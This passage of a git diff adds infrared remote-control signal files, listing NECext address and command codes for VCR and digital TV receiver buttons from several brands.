KEY_2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: TV_VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: unlabeled_1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: ASEL +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: SP_LP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: COUNT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: >>30 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: PAL_SEC +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: unlabeled_2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 27 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 +# +name: TUNE_LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 31 00 00 00 +# +name: INDEX+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 33 00 00 00 +# +name: TUNE_RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 35 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 36 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 39 00 00 00 +# +name: INDEX- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir new file mode 100644 index 000000000..718c697c4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 02 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 05 00 00 00 +# +name: operate +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 07 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 08 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 09 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0C 00 00 00 +# +name: rental +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 19 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 1E 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir new file mode 100644 index 000000000..1288bd839 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: TEXT/PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: GUIDE/A-B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir new file mode 100644 index 000000000..8b4dcdea4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 23 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 24 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 25 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2C 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 33 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: CUSTOM0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 60 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir b/assets/resources/infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir new file mode 100644 index 000000000..a0cc85aba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: BLUE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 04 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 05 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 06 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 07 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 08 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0C 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0D 00 00 00 +# +name: PG+ +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 10 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 11 00 00 00 +# +name: PG- +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 12 00 00 00 +# +name: TV/R +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 14 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 16 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 17 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 18 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 19 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 40 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 42 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 44 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 45 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 46 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 48 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 4A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 4C 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 4D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 4E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 50 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 51 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 52 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 54 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 55 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 56 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 58 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir b/assets/resources/infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir new file mode 100644 index 000000000..a6a76e9ce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0A 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0B 00 00 00 +# +name: MAIL +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0C 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0D 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0F 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 10 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 11 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 12 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 13 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 14 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 15 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 16 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 18 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 19 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1A 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1B 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 40 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 41 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 42 00 00 00 +# +name: TTX +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 43 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 44 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 45 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 46 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 48 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 4C 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 50 00 00 00 +# +name: P+ +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 51 00 00 00 +# +name: P- +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 52 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 54 00 00 00 +# +name: OPT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 58 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 61 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 62 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 63 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 64 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 65 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 67 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir b/assets/resources/infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir new file mode 100644 index 000000000..c28331771 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 02 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 0A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 0B 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 0D 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 0E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 10 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 13 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 19 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 1D 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 1E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 40 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 80 77 00 00 +command: 41 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir new file mode 100644 index 000000000..64dd45ccb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: REM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: N/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 